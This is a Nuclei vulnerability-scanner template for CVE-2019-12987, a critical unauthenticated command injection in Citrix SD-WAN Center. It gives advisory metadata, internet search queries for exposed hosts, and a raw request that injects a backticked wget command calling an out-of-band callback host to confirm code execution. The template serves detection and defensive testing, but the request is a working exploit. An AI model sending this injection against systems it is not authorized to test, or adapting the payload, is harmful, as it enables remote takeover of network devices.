id: CVE-2019-12987

info:
  name: Citrix SD-WAN Center - Remote Command Injection
  author: gy741
  severity: critical
  description: |
    Citrix SD-WAN Center is susceptible to remote command injection via the apply action in StorageMgmtController. The callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for action, host, path, or type, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire SD-WAN infrastructure.
  remediation: |
    Apply the latest security patches provided by Citrix to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/article/CTX251987
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12987
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12987
    cwe-id: CWE-78
    epss-score: 0.42551
    epss-percentile: 0.98532
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: netscaler_sd-wan
    shodan-query:
      - http.title:"Citrix SD-WAN"
      - http.title:"citrix sd-wan"
    fofa-query: title="citrix sd-wan"
    google-query: intitle:"citrix sd-wan"
  tags: cve,cve2019,citrix,rce,unauth,oast,tenable,vkev,vuln

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |+
        GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://{{interactsh-url}}%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    unsafe: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<title>Citrix SD-WAN</title>")'

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 480a0045304302203abb545d1c9b2d756ce108d98083ec02706deffd6556e58c704bf15d933ca8b7021f45f7d77c5a7c2fad963d9244969962191053a8295e5478f72a43d107bae31e:922c64590222798bb761d5b6d8e72950